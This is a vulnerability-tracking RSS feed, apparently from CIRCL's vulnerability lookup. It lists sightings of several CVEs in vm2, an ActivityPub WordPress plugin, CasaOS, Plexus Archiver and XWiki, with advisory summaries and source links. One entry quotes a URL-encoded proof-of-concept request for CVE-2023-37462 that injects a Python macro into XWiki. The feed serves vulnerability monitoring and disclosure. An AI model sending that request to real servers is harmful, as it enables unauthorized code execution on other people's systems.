https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Thu, 30 Jul 2026 16:29:24 +0000 https://vulnerability.circl.lu/sighting/7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def/export {"uuid": "7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mlicivo2zc2f", "content": "\ud83d\udccc CVE-2026-24120 - vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att... https://www.cyberhub.blog/cves/CVE-2026-24120", "creation_timestamp": "2026-05-10T08:07:08.195096Z"} {"uuid": "7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mlicivo2zc2f", "content": "\ud83d\udccc CVE-2026-24120 - vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att... https://www.cyberhub.blog/cves/CVE-2026-24120", "creation_timestamp": "2026-05-10T08:07:08.195096Z"} https://vulnerability.circl.lu/sighting/7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def/export Sun, 10 May 2026 08:07:08 +0000 https://vulnerability.circl.lu/sighting/f96fd294-6858-489b-8f07-600b1931dc60/export {"uuid": "f96fd294-6858-489b-8f07-600b1931dc60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2ckkquyt2l", "content": "\ud83d\udd34 CVE-2026-24120 - Critical (9.8)\n\nvm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24120/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:30:48.671010Z"} {"uuid": "f96fd294-6858-489b-8f07-600b1931dc60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2ckkquyt2l", "content": "\ud83d\udd34 CVE-2026-24120 - Critical (9.8)\n\nvm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24120/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:30:48.671010Z"} https://vulnerability.circl.lu/sighting/f96fd294-6858-489b-8f07-600b1931dc60/export Mon, 04 May 2026 18:30:48 +0000 https://vulnerability.circl.lu/sighting/7ab01b0b-6f12-47d7-89ba-c295cfbe498d/export {"uuid": "7ab01b0b-6f12-47d7-89ba-c295cfbe498d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3ml2azcq27d2c", "content": "\ud83d\udea8 EUVD-2026-26986\n\ud83d\udcca 9.8/10\n\ud83c\udfe2 patriksimek\n\n\ud83d\udcdd vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-26986\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-05-04T18:03:14.785539Z"} {"uuid": "7ab01b0b-6f12-47d7-89ba-c295cfbe498d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3ml2azcq27d2c", "content": "\ud83d\udea8 EUVD-2026-26986\n\ud83d\udcca 9.8/10\n\ud83c\udfe2 patriksimek\n\n\ud83d\udcdd vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-26986\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-05-04T18:03:14.785539Z"} https://vulnerability.circl.lu/sighting/7ab01b0b-6f12-47d7-89ba-c295cfbe498d/export Mon, 04 May 2026 18:03:14 +0000 https://vulnerability.circl.lu/sighting/28da94d0-65a8-4ead-9d90-396e111ed345/export {"uuid": "28da94d0-65a8-4ead-9d90-396e111ed345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwrsq2mqaj2y", "content": "", "creation_timestamp": "2025-08-19T21:02:32.392790Z"} {"uuid": "28da94d0-65a8-4ead-9d90-396e111ed345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwrsq2mqaj2y", "content": "", "creation_timestamp": "2025-08-19T21:02:32.392790Z"} https://vulnerability.circl.lu/sighting/28da94d0-65a8-4ead-9d90-396e111ed345/export Tue, 19 Aug 2025 21:02:32 +0000 https://vulnerability.circl.lu/sighting/21e36b89-b040-493c-9ddd-9e7e3ef72f27/export {"uuid": "21e36b89-b040-493c-9ddd-9e7e3ef72f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://t.me/ctinow/177684", "content": "https://ift.tt/oO9Y4mZ\nCVE-2023-37466 Exploit", "creation_timestamp": "2024-02-01T17:16:30.000000Z"} {"uuid": "21e36b89-b040-493c-9ddd-9e7e3ef72f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://t.me/ctinow/177684", "content": "https://ift.tt/oO9Y4mZ\nCVE-2023-37466 Exploit", "creation_timestamp": "2024-02-01T17:16:30.000000Z"} https://vulnerability.circl.lu/sighting/21e36b89-b040-493c-9ddd-9e7e3ef72f27/export Thu, 01 Feb 2024 17:16:30 +0000 https://vulnerability.circl.lu/sighting/20745150-4b37-43b0-9502-30e46d38aee0/export {"uuid": "20745150-4b37-43b0-9502-30e46d38aee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3746", "type": "seen", "source": "https://t.me/cibsecurity/72341", "content": "\u203c CVE-2023-3746 \u203c\n\nThe ActivityPub WordPress plugin before 1.0.0 does not sanitize and escape some data from post content, which could allow contributor and above role to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:07.000000Z"} {"uuid": "20745150-4b37-43b0-9502-30e46d38aee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3746", "type": "seen", "source": "https://t.me/cibsecurity/72341", "content": "\u203c CVE-2023-3746 \u203c\n\nThe ActivityPub WordPress plugin before 1.0.0 does not sanitize and escape some data from post content, which could allow contributor and above role to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:07.000000Z"} https://vulnerability.circl.lu/sighting/20745150-4b37-43b0-9502-30e46d38aee0/export Tue, 17 Oct 2023 00:32:07 +0000 https://vulnerability.circl.lu/sighting/067f9259-2649-4bdc-a219-6430c8e8cdea/export {"uuid": "067f9259-2649-4bdc-a219-6430c8e8cdea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37462", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/997", "content": "cve-2023-37462 \n\nGET /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view\n\n#poc", "creation_timestamp": "2023-09-03T07:06:43.000000Z"} {"uuid": "067f9259-2649-4bdc-a219-6430c8e8cdea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37462", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/997", "content": "cve-2023-37462 \n\nGET /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view\n\n#poc", "creation_timestamp": "2023-09-03T07:06:43.000000Z"} https://vulnerability.circl.lu/sighting/067f9259-2649-4bdc-a219-6430c8e8cdea/export Sun, 03 Sep 2023 07:06:43 +0000 https://vulnerability.circl.lu/sighting/52e98b0b-dffc-4f87-abde-85732be34f6d/export {"uuid": "52e98b0b-dffc-4f87-abde-85732be34f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37469", "type": "seen", "source": "https://t.me/cibsecurity/69162", "content": "\u203c CVE-2023-37469 \u203c\n\nCasaOS is an open-source personal cloud system. Prior to version 0.4.4, if an authenticated user using CasaOS is able to successfully connect to a controlled SMB server, they are able to execute arbitrary commands. Version 0.4.4 contains a patch for the issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-25T02:13:34.000000Z"} {"uuid": "52e98b0b-dffc-4f87-abde-85732be34f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37469", "type": "seen", "source": "https://t.me/cibsecurity/69162", "content": "\u203c CVE-2023-37469 \u203c\n\nCasaOS is an open-source personal cloud system. Prior to version 0.4.4, if an authenticated user using CasaOS is able to successfully connect to a controlled SMB server, they are able to execute arbitrary commands. Version 0.4.4 contains a patch for the issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-25T02:13:34.000000Z"} https://vulnerability.circl.lu/sighting/52e98b0b-dffc-4f87-abde-85732be34f6d/export Fri, 25 Aug 2023 02:13:34 +0000 https://vulnerability.circl.lu/sighting/478f1964-ad70-4da3-9210-4646fb946721/export {"uuid": "478f1964-ad70-4da3-9210-4646fb946721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://t.me/cibsecurity/67265", "content": "\u203c CVE-2023-37460 \u203c\n\nPlexis Archiver is a collection of Plexus components to create archives or extract archives to a directory with a unified `Archiver`/`UnArchiver` API. Prior to version 4.8.0, using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the `resolveFile()` function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later `Files.newOutputStream()`, that follows symlinks by default, will actually write the entry's content to the symlink's target. Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. Version 4.8.0 contains a patch for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-26T00:27:22.000000Z"} {"uuid": "478f1964-ad70-4da3-9210-4646fb946721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://t.me/cibsecurity/67265", "content": "\u203c CVE-2023-37460 \u203c\n\nPlexis Archiver is a collection of Plexus components to create archives or extract archives to a directory with a unified `Archiver`/`UnArchiver` API. Prior to version 4.8.0, using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the `resolveFile()` function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later `Files.newOutputStream()`, that follows symlinks by default, will actually write the entry's content to the symlink's target. Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. Version 4.8.0 contains a patch for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-26T00:27:22.000000Z"} https://vulnerability.circl.lu/sighting/478f1964-ad70-4da3-9210-4646fb946721/export Wed, 26 Jul 2023 00:27:22 +0000 https://vulnerability.circl.lu/sighting/b80ce4a0-905b-4c6c-a487-45a47c01efd6/export {"uuid": "b80ce4a0-905b-4c6c-a487-45a47c01efd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-37460", "type": "published-proof-of-concept", "source": "https://github.com/codehaus-plexus/plexus-archiver/security/advisories/GHSA-wh3p-fphp-9h2m", "content": "", "creation_timestamp": "2023-07-25T07:39:22.000000Z"} {"uuid": "b80ce4a0-905b-4c6c-a487-45a47c01efd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-37460", "type": "published-proof-of-concept", "source": "https://github.com/codehaus-plexus/plexus-archiver/security/advisories/GHSA-wh3p-fphp-9h2m", "content": "", "creation_timestamp": "2023-07-25T07:39:22.000000Z"} https://vulnerability.circl.lu/sighting/b80ce4a0-905b-4c6c-a487-45a47c01efd6/export Tue, 25 Jul 2023 07:39:22 +0000